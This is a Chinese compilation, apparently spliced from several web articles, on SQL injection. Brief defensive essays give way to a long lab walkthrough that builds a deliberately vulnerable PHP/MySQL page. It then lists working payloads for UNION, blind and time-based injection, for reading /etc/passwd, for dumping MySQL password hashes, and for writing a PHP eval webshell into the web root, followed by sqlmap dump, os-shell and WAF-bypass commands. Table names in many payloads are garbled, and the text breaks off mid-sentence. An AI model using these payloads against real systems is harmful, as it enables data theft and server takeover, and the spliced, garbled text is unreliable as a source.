Web应用SQL注入漏洞检测工具的设计与实现
SQL注入攻击检测与防护技术研究

SQL注入攻击检测与防护技术研究简介:随着互联网的快速发展,网站安全问题越来越受到关注。
SQL注入攻击被认为是最常见且最危险的Web应用程序安全漏洞之一。
本文旨在研究SQL注入攻击的检测与防护技术,以帮助网站管理员保护其网站免受恶意攻击。
一、SQL注入攻击的原理和危害SQL注入攻击是通过将恶意的SQL代码插入到Web应用程序的输入参数中,从而获取或修改后端数据库的数据。
攻击者可以利用SQL注入攻击绕过应用程序验证机制、获取敏感数据甚至完全控制数据库。
SQL注入攻击的危害包括但不限于:数据泄露、数据篡改、系统瘫痪等。
二、SQL注入攻击的检测技术1. 输入验证前端输入验证是最简单也是最常用的一种防范SQL注入攻击的方法。
通过对用户输入进行有效性验证,可以排除大部分注入攻击的可能性。
输入验证应该包括检查输入内容的长度、类型以及是否包含特殊字符等。
2. 参数化查询参数化查询是一种在SQL语句中使用参数来替代直接拼接用户输入的值的方法。
通过将用户输入的值作为参数传递给SQL查询语句,可以有效防止注入攻击。
参数化查询可以防止恶意用户输入恶意SQL代码。
3. 黑白名单黑白名单是一种基于规则的方法,通过定义合法输入和非法输入的白名单和黑名单,来过滤用户输入并拒绝恶意操作。
例如,可以使用白名单过滤器来限制只接受特定格式的输入,从而减少注入攻击的风险。
4. 日志监控通过监控数据库的访问日志,可以及时发现SQL注入攻击的迹象。
日志监控可以记录和分析所有数据库的操作,包括所有的查询、更新和删除,以及执行这些操作的用户。
当出现异常高频率或者异常SQL语句时,可以通过日志监控进行及时报警和调查。
三、SQL注入攻击的防护技术1. 操作权限控制为了减少SQL注入攻击的风险,应该对数据库的操作权限进行严格控制。
尽量给予数据库用户最小的权限,避免用户对数据库进行敏感操作。
定期审核用户权限,并将不必要的权限进行收紧,以确保数据库安全。
SQL注入漏洞的检测方法与修复实例

SQL注入漏洞的检测方法与修复实例随着互联网的发展,数据库安全问题变得越来越重要。
SQL注入是常见的数据库安全漏洞之一,它可以导致数据泄露、篡改或破坏,对个人隐私和商业机密造成严重威胁。
本文将介绍SQL注入的检测方法和修复实例,帮助读者更好地保护数据库安全。
一、SQL注入的概念与原理SQL注入是通过在Web应用程序中注入恶意的SQL代码,从而影响数据库的执行。
攻击者通过构造特定的输入,绕过应用程序的输入验证,将恶意代码作为有效的SQL语句执行。
这样就可以访问、修改或删除数据库中的数据,甚至获取敏感信息。
二、SQL注入的常见类型1. 基于布尔的盲注注入:攻击者通过不断猜测数据库的真假条件语句,逐渐获取数据库的信息。
2. 基于时间延迟的盲注注入:攻击者通过构造特定的SQL语句,使数据库在执行时延迟,从而间接获取信息。
3. 堆叠注入:攻击者在SQL语句中嵌入多个查询,以实现多次执行的效果,进而获取或篡改数据。
4. UNION注入:攻击者利用UNION操作符将恶意代码与正常查询结果进行合并,从而获取额外的信息。
三、SQL注入的检测方法1. 输入验证与过滤:对用户输入进行验证与过滤,确保输入的数据符合预期的格式和内容。
这包括正确使用正则表达式验证、转义特殊字符等。
2. 参数化查询:使用参数化查询方式,在SQL语句执行之前,将输入参数与查询命令分离,确保输入不被当作代码执行。
这样可以有效防止SQL注入攻击。
3. 最小化权限原则:将应用程序连接数据库的账号权限设置为最低权限,确保攻击者无法执行危险的操作。
4. 安全审计日志:记录应用程序的运行日志,包括请求参数、SQL 语句等信息,以便及时检测和追踪SQL注入攻击。
5. 使用WAF(Web应用程序防火墙):配置和使用WAF,可以对HTTP请求进行监控和过滤,防止SQL注入等攻击。
四、SQL注入的修复实例以下是一个常见的SQL注入漏洞修复实例:假设有一个用户登录功能,用户输入用户名和密码进行登录,后台的SQL查询语句如下:```sqlSELECT * FROM users WHERE username='$_POST['username']' AND password='$_POST['password']';```这个查询语句存在严重的SQL注入漏洞,攻击者可以通过构造恶意的输入,绕过登录验证。
SQL注入漏洞检测与利用

SQL注⼊漏洞检测与利⽤SQL注⼊,就是通过把SQL命令插⼊到Web表单提交或输⼊域名或页⾯请求的查询字符串,最终达到欺骗服务器执⾏恶意的SQL命令,它是利⽤现有应⽤程序将(恶意的)SQL命令注⼊到后台数据库引擎执⾏的能⼒,它可以通过在Web表单中输⼊SQL语句得到⼀个存在安全漏洞的⽹站上的数据库,⽽不是按照设计者意图去执⾏SQL语句.数字型注⼊是最常规的⼀种注⼊⽅式,通常存在于⽹页的链接地址中,例如index.php?id=这样的类型,通常存在可利⽤的地⽅,这⾥通过⼀个例⼦来学习数字型注⼊的⼀些注⼊技巧.◆搭建演练环境◆1.⾸先我这⾥使⽤的是Centos7,在该系统上通过Yum搭建LAMP的环境.[root@localhost ~]# yum install -y httpd httpd-devel \mariadb mariadb-server mysql-devel \php php-mysql php-common php-gd php-xml[root@localhost ~]# systemctl restart httpd[root@localhost ~]# systemctl restart mariadb[root@localhost ~]# systemctl enable httpd[root@localhost ~]# systemctl enable mariadb2.进⼊MySQL并创建⼀个测试⽤的数据表,写⼊⼀些测试所使⽤的查询数据.[root@localhost ~]# mysql -uroot -p1233MariaDB [(none)]> create database lyshark;Query OK, 1 row affected (0.01 sec)MariaDB [(none)]> use lyshark;Database changedMariaDB [lyshark]> create table lyshark (-> id int(10) not null,-> title varchar(1000) not null,-> text varchar(2000) not null-> );Query OK, 0 rows affected (0.02 sec)MariaDB [lyshark]> create table user(id int ,name char(30),pass char(40));MariaDB [lyshark]> create table pwd(id int ,name char(30),pass char(40));insert into `lyshark` (`id`, `title`, `text`) values (1,'admin','hello admin');insert into `lyshark` (`id`, `title`, `text`) values (2,'lyshark','hello lyshark');insert into `lyshark` (`id`, `title`, `text`) values (3,'guest','hello guest');3.在⽹站⽬录下新建⼀个index.php⽂件,并配置好权限,这⾥需要关闭Selinux和Iptables防⽕墙.[root@localhost ~]# setenforce 0[root@localhost ~]# iptables -F[root@localhost ~]#[root@localhost ~]# vim /var/www/html/index.php<?php$id = $_GET['id'];$connection = mysql_connect("127.0.0.1","root","1233");mysql_select_db("lyshark",$connection);$myquery = "select * from lyshark where id=$id";$result = mysql_query($myquery);while($row = mysql_fetch_array($result)){echo "编号: ".$row['id']."<br >";echo "标题: ".$row['title']."<br >";echo "内容: ".$row['text']."<br >";echo "<hr>";}mysql_close($connection);echo "后台执⾏的SQL语句: ".$myquery."<hr>";#mysql_free_result($result);>[root@localhost ~]# chmod 755 -R /var/www/html/index.php[root@localhost ~]# chown apache.apache /var/www/html/index.php[root@localhost ~]# systemctl restart httpd4.最后访问这个页⾯,并传⼊⼀个参数,即可查看返回结果.[root@localhost ~]# curl http://127.0.0.1/index.php?id=1[root@localhost ~]# curl http://127.0.0.1/index.php?id=2◆判断注⼊点◆提交单引号: 通过提交单引号并根据返回结果判断是否存在注⼊点,如果返回正常说明存在注⼊点.[root@localhost ~]# curl http://127.0.0.1/index.php?id=1'执⾏的SQL语句: select * from lyshark where id=1'提交AND判断: 也可以使⽤and语句来判断是否存在注⼊.[root@localhost ~]# curl http://127.0.0.1/index.php?id=1 and 1=1执⾏的SQL语句: select * from lyshark where id=1 and 1=1--------------------------------------------------------------[root@localhost ~]# curl http://127.0.0.1/index.php?id=1 and 1=0执⾏的SQL语句: select * from lyshark where id=1 and 1=0以上注⼊可发现and 1=1返回了数据,⽽and 1=0则没有返回,这是由于and 1=1是⼀个为真的条件,所以返回了⽽and 1=0结果为假也就没有结果,这⾥也能看出我们的注⼊语句被数据库执⾏了.提交OR判断: 同样的使⽤OR语句也是可以判断数据库权限的.[root@localhost ~]# curl http://192.168.1.11/index.php?id=1 or 1=1执⾏的SQL语句: select * from lyshark where id=1 and 1=1--------------------------------------------------------------[root@localhost ~]# curl http://192.168.1.11/index.php?id=1 or 1=0执⾏的SQL语句: select * from lyshark where id=1 and 1=0提交加号: 我们在参数输⼊1+1,看返回的数据是不是id等于2的结果,这⾥注意⼀下+号在SQL语句是有特效含义的,所以我们要对其进⾏url编码,最后也就是%2b.[root@localhost ~]# curl http://127.0.0.1/index.php?id=1%2b1执⾏的SQL语句: select * from lyshark where id=1+1提交减号: 同样的道理,提交减号也可以实现判断注⼊点,这⾥不需要进⾏编码转化.[root@localhost ~]# curl http://127.0.0.1/index.php?id=2-1执⾏的SQL语句: select * from lyshark where id=2-1◆常⽤判断语句◆判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.index.php?id=1 and ord(mid(user(),1,1)) = 114判断权限⼤⼩: 如果结果返回正常,说明具有读写权限,返回错误,应该是管理员给数据库帐户降权了.index.php?id=1 and(select count(*) from er) > 0查询管理密码: 查询MySQL的管理密码,这⾥的#末尾警号,是注释符的意思,说明后⾯的都是注释.index.php?id=1 union select host,user,password from er# // 5.6以前版本index.php?id=1 union select host,user,authentication_string from er# // 5.7以后版本向主站写⼊后门: 可以写⼊⼀句话后门,但在linux系统上⽬录必须具有读写和执⾏权限.index.php?id=1 union select 1,1,load_file("/etc/passwd") into outfile '/var/www/html/a.txt'index.php?id=1 union select null,null,"<?php phpinfo();?>" into outfile '/var/www/html/a.php'index.php?id=1 union select 1,1,load_file(char(111,116,46,105,110,105))常⽤判断语句: 下⾯是⼀些常⽤的注⼊查询语句,包括查询主机名等敏感操作.index.php?id=1 union select 1,1,load_file("/etc/passwd") // 加载指定⽂件index.php?id=1 union select 1,1,@@datadir // 判断数据库⽬录index.php?id=1 union select 1,1,@@basedir // 判断安装根路径index.php?id=1 union select 1,1,@@hostname // 判断主机名index.php?id=1 union select 1,1,@@version // 判断数据库版本index.php?id=1 union select 1,1,@@version_compile_os // 判断系统类型(Linux)index.php?id=1 union select 1,1,@@version_compile_machine // 判断系统体系(x86)index.php?id=1 union select 1,1,user() // 曝出系统⽤户index.php?id=1 union select 1,1,database() // 曝出当前数据库◆判断表字段数◆Union 查询字段: Union可以⽤于⼀个或多个SELECT的结果集,但是他有⼀个条件,就是两个select查询语句的查询必须要有相同的列才可以执⾏,利⽤这个特性我们可以进⾏对⽐查询,也就是说当我们union select的列与它查询的列相同时,页⾯返回正常,⽽在and后⾯加上1=1或1=2的作⽤后⾯会讲.a.⾸先我们猜测,当前字段数为2的时候,页⾯会返回错误,也就说明表字段数必然是⼤于2的.index.php?id=1 and 1=1 union select 1,2执⾏的SQL语句: select * from lyshark where id=1 and 1=1 union select 1,2b.在上⾯的基础上,我们增加⼀个字段,查询1,2,3时页⾯显⽰正常,说明表结构是3个字段的.index.php?id=1 and 1=1 union select 1,2,3执⾏的SQL语句: select * from lyshark where id=1 and 1=1 union select 1,2,3c.为了验证数据库是否为3个字段,我们增加到4个字段,发现页⾯显⽰错误,则证明肯定是3个字段.index.php?id=1 and 1=1 union select 1,2,3,4执⾏的SQL语句: select * from lyshark where id=1 and 1=1 union select 1,2,3,4上⾯的结果,说明字段数就是3,输⼊的数⼤于或⼩于字段数时都会报错,⽽使⽤union select null,null,null替换1,2,3是相同的效果⽤数字也可以.index.php?id=1 and 1=1 union select null,null,null #执⾏的SQL语句: select * from lyshark where id=1 and 1=1 union select null,null,nullOrder By查询字段: 在SQL语句中是对结果集的指定列进⾏排序,⽐如我们想让结果集按照第⼀列排序就是order by 1按照第⼆列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进⾏排序数据库会返回正常,但是当我们按照第100列排序,但是数据库中并不存在第100列,从⽽报错.a.⾸先我们猜测数据库有4个字段,尝试根据第四⾏进⾏排序发现数据⽆法显⽰,说明是⼩于4的.index.php?id=1 order by 4 #b.上⾯查询没有显⽰任何结果,我们查询4个字段⽆返回值,说⾯该表⼩于4个字段,我们继续使⽤3测试,此时返回了结果.index.php?id=1 order by 3 #⼤部分程序只会调⽤数据库查询的第⼀条语句进⾏查询然后返回,⽽通过联合查询出的数据中,我们想看到的数据是在第⼆条语句中,如果我们想看到我们想要的数据有两种⽅法,第⼀种是让第⼀条数据返回假,第⼆种是通过sql语句直接返回我们想要的数据.第⼀种:我们让第⼀个查询的结果始终为假,通过使⽤and 0来实现,下⾯的标号啥的就⼲净了.index.php?id=1 and 0 union select null,null,null执⾏的SQL语句: select * from lyshark where id=1 and 0 union select null,null,null第⼆种:通过limit语句,limit在mysql中是⽤来分页的,通过他可以从查询出来的数据中获取我们想要的数据.index.php?id=1 union select null,null,null limit 1,1执⾏的SQL语句: select * from lyshark where id=1 union select null,null,null limit 1,1上⾯结果返回也是空,因为这使⽤的null,所以返回的还是null◆查库与表名称◆查当前数据库名称: 可以直接使⽤MySQL⾃带函数database()来查询得到当前使⽤的数据库.index.php?id=1 and 0 union select 1,1,database()查全部数据库名称: 使⽤以下语句语句得到所有的数据库名,and 1=0功能是不显⽰第⼀⾏.index.php?id=1 and 0 union select 1,1,schema_name from information_schema.schemata查指定数据库名称: ⽤来查询第⼀个数据库的名称,但这个写法有个⼩问题,继续往下看.index.php?id=1 union select null,null,schema_name from information_schema.schemata limit 0,1以上查询结果,并没有显⽰数据库名⽽显⽰的是第⼀条语句查询出来的结果,在union前⾯加上and 0就能显⽰出来了.index.php?id=1 and 0 union select null,null,schema_name from information_schema.schemata limit 0,1以下查询⽅式,根据控制limit 0,1,2,3....,我们既可以获取到指定数量的数据库名称.index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 1,1index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 2,1index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 3,1查表名称(1): 通过使⽤group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.index.php?id=1 and 0 union select 1,1,group_concat(table_name)> from information_schema.tables where table_schema='lyshark' #查lyshark库中表名称查表名称(2): 同样,使⽤下⾯的语句也是可以查出数据库中的表,但该查询⽅式会分⾏显⽰查询的结果.index.php?id=1 and 0 union select 1,1,table_name> from information_schema.tables where table_schema='lyshark' #查lyshark库中表名称◆查字段与数据◆查表中字段(1):index.php?id=1 and 1=1 union select 1,1,group_concat(column_name)> from information_schema.columns> where table_schema='lyshark' and table_name='lyshark'查表中字段(2): 也可以查看mysql库user表中的字段,进⾏⼀个查询.index.php?id=1 and 1=1 union select 1,1,group_concat(column_name)> from information_schema.columns> where table_schema='mysql' and table_name='user'查表中字段(3):index.php?id=2 union select null,null,column_name> from information_schema.columns> where table_schema='mysql' and table_name='user'查表中数据: 查询表中数据,我们可以使⽤以下三种⽅式进⾏查询.index.php?id=1 union select Host,User,Password from erindex.php?id=1 and 1=1 union select 1,1,group_concat(id,title,text) from lysharkindex.php?id=1 and 1=1 union select 1,1,group_concat(Host,User,Password) from er## 字符型注⼊字符串或串(String)是由数字、字母、下划线组成的⼀串字符,⼀般记为s="a1 a2···an "(n>=0),它是编程语⾔中表⽰⽂本的数据类型,字符型注⼊就是把输⼊的参数当做字符串来对数据库进⾏查询,字符型注⼊在sql语句中都采⽤单引号括起来,接下来看⼀段SQL语句.$query="select first_name from users where id='$_GET['id']'";上⾯的这句SQL语句就是基于⽤户输⼊的id在users表中找到相应的first_name,正常⽤户当然会输⼊例如1,2等,但是如果有⼈输⼊以下恶意语句则就会引发注⼊.1' union select database() #;这样的话这句SQL请求,在后台的执⾏结果就变成了以下的样⼦.select first_name from users where id='1'union select database()#'如上,我们不仅可以得到id=1的first_name,还可以得到当前数据库的相关信息,这是开发⼈员所没有想到的,以上只是⼀个简单的SQL注⼊的例⼦.从根本上讲,当开发⼈员对⽤户的输⼊过滤不严,造成了⽤户可以通过输⼊SQL语句控制数据库,就会产⽣SQL注⼊漏洞.简⽽⾔之,基于字符型的SQL注⼊即存在SQL注⼊漏洞的URL参数为字符串类型(需要使⽤单引号表⽰),字符型SQL注⼊的关键就是单引号的闭合,例如以下⼏个例⼦:select * from tables where idproduct=’ 13’;select * from tables where name=’ fendo’;select * from tables where data=’ 01/01/2017’;◆搭建演练环境◆1.⾸先我们在原来的基础上,新建⼀个⽂件/var/www/html/index.php.vim /var/www/html/index.php<?php$name=$_GET['username'];$conn=mysql_connect("127.0.0.1","root","1233");mysql_select_db('fendo',$conn);$sql="select * from user where username = '$name'";$result=mysql_query($sql);while($row = mysql_fetch_array($result)){echo "⽤户ID:".$row['id']."<br >";echo "⽤户名:".$row['username']."<br >";echo "⽤户密码:".$row['password']."<br >";echo "⽤户邮箱:".$row['email']."<br >";echo "<hr>";}mysql_close($conn);echo "<hr>";echo "后台执⾏的SQL语句: "."$sql <br >";>2.进⼊数据库,创建⼏个表结构,并插⼊⼏条测试数据.[root@localhost ~]# mysql -uroot -pMariaDB [(none)]> create database fendo;MariaDB [(none)]> use fendo;MariaDB [fendo]> create table user(-> id int not null,-> username varchar(100) not null,-> password varchar(100) not null,-> email varchar(200) not null-> );Query OK, 0 rows affected (0.02 sec)insert into user(id,username,password,email) values(1,'admin','fendo','10010@');insert into user(id,username,password,email) values(2,'guest','goods','10020@');insert into user(id,username,password,email) values(3,'lyshark','nice','10030@');3.重启apache服务,并访问页⾯测试效果.[root@localhost ~]# systemctl restart httpd[root@localhost ~]# curl http://127.0.0.1/index1.php?username=lyshark◆字符注⼊技巧◆检测注⼊点: 字符型的检测⽅式与整数型差不多,但需要对数据进⾏SQL语句的⼿动闭合,如下所⽰.index.php?username=admin' and '1'='1index.php?username=admin' and '1'='0index.php?username=admin' and '1'=1--'index.php?username=admin' or '1'=1--'猜字段长度: 接着我们通过使⽤union select语句,猜测数据库列的长度,字段长度.index.php?username=admin ' union select 1,1,1 and '1'='1 // 显⽰错误,说明字段⼤于3index.php?username=admin ' union select 1,1,1,1 and '1'='1 // 显⽰正确,该表存在4个字段index.php?username=admin ' union select 1,1,1,1' // 这样也可以完成语句的闭合index.php?username=admin ' union select null,null,null,null'猜敏感信息: 接着替换上⾯语句中的1,1,1,1替换为MySQL执⾏函数,猜敏感信息.index.php?username=admin' union select database(),1,@@version,@@datadir'index.php?username=admin' union select database(),1,@@version,@@datadir and '1'='0猜表是否存在: 猜指定表是否存在,语句执⾏结束并没报错,也就说明存在user这个表.index.php?username=admin'+and+(select+count(*)+from+user)>0+and+''=' // 存在user这个表index.php?username=admin'+and+(select+count(*)+from+lyshark)>0+and+''=' // 不存在lyshark这个表查全部表名称: 通过以下语句,查询fendo数据库中存在的所有表名称.index.php?username=admin' union select 1,1,1,group_concat(table_name)> from information_schema.tables where table_schema="fendo"'查表中字段: 查询fendo数据库中,user表中的字段,并显⽰出来.index.php?username=admin' union select 1,1,1,group_concat(column_name)> from information_schema.columns where> table_schema="fendo" and table_name="user"'查表中数据: 查询fendo数据库中,user表中指定字段的数据,并显⽰出来.index.php?username='admin' union select 1,group_concat(password),1,1 from user'index.php?username='admin' union select id,username,password,email from user'上⾯的这些例⼦就是字符型注⼊的常⽤⼿法,其他的注⼊⽅式和整数型没有什么太⼤的区别,这⾥为了节约篇幅不在继续往下写了,你可以使⽤MySQL提供的基本函数⾃⾏测试.猜版本: 返回正常,说明数据库版本是5,返回错误说明⼤于或⼩于5.index.php?id=1 and left(version(),1)=5# // 返回正常,说明数据库版本是5index.php?id=1 and left(version(),1)=4# // 返回错误,说明数据库版本不是5猜库名: 通过盲注的形式,逐级猜测每⼀个数据库的单元,最后将其组合在⼀起即可.index.php?id=1 and (length(database())) >=4 // 猜库名称有多少个字符串index.php?id=1 and (left(database(),1)) >= 'd' # // 猜库名称最左边第1位为dindex.php?id=1 and (left(database(),2)) >= 'dv' # // 猜库名称左边前2位位为dvindex.php?id=1 and (left(database(),3)) >= 'dvw' # // 猜库名称左边前3位位为dvw index.php?id=1 and (left(database(),4)) >= 'dvwa'# // 猜库名称左边前4位位为dvwaindex.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),1,1))=100 # // 第1位是d index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),2,1))=118 # // 第2位是v index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),3,1))=119 # // 第3位是w index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),4,1))=97 # // 第4位是amid ((a,b,c) // 从字符串a中截取b到c位置ord() // 将结果转化为ascii码与后⾯数值对⽐CAST(DATABASE() AS CHAR) // 如果取到了数据则返回猜表名: 如果⽹页返回正常,则说明存在这个表,返回不正常说明不存在.公式: and (select count(*) from 表名) >=0index.php?id=1 and (select count(*) from er) >=0 // 存在er表index.php?id=1 and (select count(*) from lyshark) >=0 // 存在lyshark表猜字段: 如果⽹页返回正常,说明存在猜测的字段,不正常则需要继续猜.公式: and (select count(字段名) from 猜到的表名)>=0index.php?id=1 and (select count(id) from users) >=0 // 返回正常说明存在id字段index.php?id=1 and (select count(name) from users) >=0 // 返回不正常不存在name字段index.php?id=1 and (select count(*) from lyshark) >=3 #-- // 返回表中记录数⽤户名猜测: 通过正则符号也可使完成多指定⽤户的探测,其他函数⽤法相同. index.php?id=1' and (length(user())) >=14 # // 猜测数据库⽤户名称长度index.php?id=1' and (select user() like 'root%') # // 猜测⽤户名index.php?id=1' and (select user() regexp '^[a-z]') # // 猜测开头a-zindex.php?id=1' and (select user() regexp '^r') # // 第⼀位是rindex.php?id=1' and (select user() regexp '^ro') # // 第⼆位是oindex.php?id=1' and (select user() regexp '^root') # // 以此类推猜测前四位延时注⼊: 通过sleep(5)延时的⽅式,我们同样可以判断是否存在注⼊点. index.php?id=1 and sleep(5) #index.php?id=1 and sleep(5) order by 3 # // 如果是3个字段,则会延时5秒index.php?id=1 and select if(length(user())=0,sleep(3),1) # //如果user=0则延时3秒index.php?id=1 and if(hex(mid(user(),1,1))=100,sleep(3),1) # // 第1个字符=d则延时3秒index.php?id=1 and if(hex(mid(user(),1,1))=118,sleep(3),1) # // 第2个字符=v则延时3秒## SQLMap(拓展)检测命令:sqlmap -u "./index.php?id=1" -v 3 # 显⽰攻击载荷sqlmap -u "./index.php?id=1" --level=3 # 指定探测级别sqlmap -u "./index.php?id=1" --privileges # 测试所有⽤户权限sqlmap -u "./index.php?id=1" --privileges root # 测试root⽤户权限sqlmap -u "./index.php?id=1" --all # 查询所有数据库sqlmap -u "./index.php?id=1" --hostname # 查询当前主机名sqlmap -u "./index.php?id=1" --is-dba # 判断root权限sqlmap -u "./index.php?id=1" --users # 枚举数据库⽤户sqlmap -u "./index.php?id=1" --random-agent # 随机User-Agentsqlmap -u "./index.php?id=1" --fingerprint # 执⾏DBMS版本指纹检查sqlmap -u "./index.php?id=1" --output-dir="" # ⾃定义输出⽬录sqlmap -u "./index.php?id=1" --file-read="" # 读取⽂件sqlmap -u "./index.php?id=1" --file-write="" # 写⼊操作sqlmap -u "./index.php?id=1" --os-cmd="net user" # 执⾏⼀条命令sqlmap -u "./index.php?id=1" --os-shell # 交互执⾏命令sqlmap -u "./index.php?id=1" --sql-query="" # 执⾏的SQL语句sqlmap -u "./index.php?id=1" --cookie="" # 指定cookiesqlmap -u "./index.php?id=1" --temper="" # 指定过滤脚本脱库命令:sqlmap -u "./index.php?id=1" --identify-waf # 测试是否有WAFsqlmap -u "./index.php?id=1" --current-db # 查询当前数据库sqlmap -u "./index.php?id=1" --current-user # 查询当前主机名sqlmap -u "./index.php?id=1" --users # 查询所有⽤户名sqlmap -u "./index.php?id=1" --dbs # 列出所有数据库sqlmap -u "./index.php?id=1" --tables # 列出所有的表sqlmap -u "./index.php?id=1" -D "mysql" --tables # 获取mysql库中的表sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # 获取mysql.host表列名称sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # 将mysql.host保存到本地sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # 全部脱裤⼦sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dumpCookie注⼊: level >=2使⽤cookie注⼊,level >=3使⽤User-agent/Referer注⼊.sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 #判断注⼊点sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #猜数据库名sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #猜表名称sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2 #猜字段sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜内容POST注⼊:1.浏览器打开⽬标地址 http:// /Login.asp2.配置burp代理(127.0.0.1:8080)以拦截请求3.点击login表单的submit按钮4.这时候Burp会拦截到了我们的登录POST请求5.把这个post请求复制为txt,记录下其中的 id=1&Submit=Submitsqlmap -r post.txt -p id --dbsSqlmap -r post.txt -p id -D mysql --tablesSqlmap -r post.txt -p id -D mysql -T user --columnssqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dumpsqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"延时注⼊:Sqlmap -u "http://127.0.0.1/index.php" --dbs --delay 1sqlmap -u "http://127.0.0.1/index.php" --dbs --safe-freq 3绕过WAF:sqlmap -u "http://127.0.0.1/index.php" --thread 10 --identify-wafsqlmap -u "http://127.0.0.1/index.php" --thread 10 --check-wafsqlmap -u "http://127.0.0.1/index.php" --dbs --batch --tamper "script.py"sqlmap -u "http://127.0.0.1/index.php" --dbs --batch --tamper "script.py,space2dash.py"注⼊审计搭建SQL注⼊演练环境,⾸先确保MySQL版本为MySQL 5.5以上,并导⼊下⽅的数据库脚本⾃动创建相应的数据库⽂件. drop database if exists lyshark;create database lyshark;use lyshark;drop table if exists users;create table users(id int(10) primary key not null,username varchar(100) not null,password varchar(100) not null,usremail varchar(100) not null,usertype int(1) default 0);insert into ers(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@");insert into ers(id,username,password,usremail) VALUES(2,"lyshark",md5("adsdfw2345"),"lyshark@");insert into ers(id,username,password,usremail) VALUES(3,"guest",md5("12345678"),"guest@");insert into ers(id,username,password,usremail) VALUES(4,"Dumb",md5("458322456"),"Dumb@");insert into ers(id,username,password,usremail) VALUES(5,"Angelina",md5("GIs92834"),"angelina@");insert into ers(id,username,password,usremail) VALUES(6,"Dummy",md5("HIQWu28934"),"dummy@");insert into ers(id,username,password,usremail) VALUES(7,"batman",md5("suw&*("),"batmain@");insert into ers(id,username,password,usremail) VALUES(8,"dhakkan",md5("swui16834"),"dhakakan@");insert into ers(id,username,password,usremail) VALUES(9,"nacki",md5("fsie92*("),"cbooks@");insert into ers(id,username,password,usremail) VALUES(10,"wuhaxp",md5("sadwq"),"cookiec@");接着安装好PHP7.0或以上版本的环境,并创建index.php⽂件,写⼊以下测试代码,数据库密码请⾃⾏修改.<!DOCTYPE html><html lang="en"><head><meta charset="gbk"><title>SQL 注⼊测试代码</title></head><?php$connect = mysqli_connect("localhost","root","123456","lyshark");if($connect){$id = $_GET['id'];if(isset($id)){$sql = "select * from users where id='$id' limit 0,1";$query = mysqli_query($connect,$sql);$row = mysqli_fetch_array($query);}}><body><table border="1"><tr><th>序号</th><th>⽤户账号</th><th>⽤户密码</th><th>⽤户邮箱</th><th>权限</th></tr><tr><td><?php echo $row['id']; ?></td><td><?php echo $row['username']; ?></td><td><?php echo $row['password']; ?></td><td><?php echo $row['usremail']; ?></td><td><?php echo $row['usertype']; ?></td></tr></table><?php echo '<hr><b> 后端执⾏SQL语句: </b>' . $sql; ?></body></html>判断注⼊点: 注⼊点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.index.php?id=1' and 1=1 --+ # 提交and判断注⼊index.php?id=1' and 1=0 --+index.php?id=1%2b1 # 提交加号判断注⼊index.php?id=2-1 # 提交减号判断注⼊index.php?id=1 and sleep(5) # 延时判断诸如点常⽤判断语句:# -----------------------------------------------------------------------------------# 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.index.php?id=1' and ord(mid(user(),1,1)) = 114 --+# -----------------------------------------------------------------------------------# 判断权限⼤⼩: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.index.php?id=1' and(select count(*) from er) > 0# -----------------------------------------------------------------------------------# 查询管理密码: 查询MySQL的管理密码,这⾥的#末尾警号,是注释符的意思,说明后⾯的都是注释.index.php?id=1' and 0 union select 1,host,user,password,5 from er --+ // 5.6以前版本index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from er --+ // 5.7以后版本# -----------------------------------------------------------------------------------# 向主站写⼊⼀句话: 可以写⼊⼀句话后门,但在linux系统上⽬录必须具有读写和执⾏权限.index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+# -----------------------------------------------------------------------------------# 利⽤MySQL引擎写⼀句话: 通过使⽤MySQL的存储引擎,以MySQL⾝份写⼊⼀句话create table shell(cmd text);insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');select cmd from shell into outfile('/var/www/html/eval.php');# -----------------------------------------------------------------------------------# 常⽤判断语句: 下⾯是⼀些常⽤的注⼊查询语句,包括查询主机名等敏感操作.index.php?id=1' union select 1,1,load_file("/etc/passwd") // 加载指定⽂件index.php?id=1' union select 1,1,@@datadir // 判断数据库⽬录index.php?id=1' union select 1,1,@@basedir // 判断安装根路径index.php?id=1' union select 1,1,@@hostname // 判断主机名index.php?id=1' union select 1,1,@@version // 判断数据库版本index.php?id=1' union select 1,1,@@version_compile_os // 判断系统类型(Linux)index.php?id=1' union select 1,1,@@version_compile_machine // 判断系统体系(x86)index.php?id=1' union select 1,1,user() // 曝出系统⽤户index.php?id=1' union select 1,1,database() // 曝出当前数据库◆判断字段数◆Union 查询字段: Union可以⽤于⼀个或多个SELECT的结果集,但是他有⼀个条件,就是两个select查询语句的查询必须要有相同的列才可以执⾏,利⽤这个特性我们可以进⾏对⽐查询,也就是说当我们union 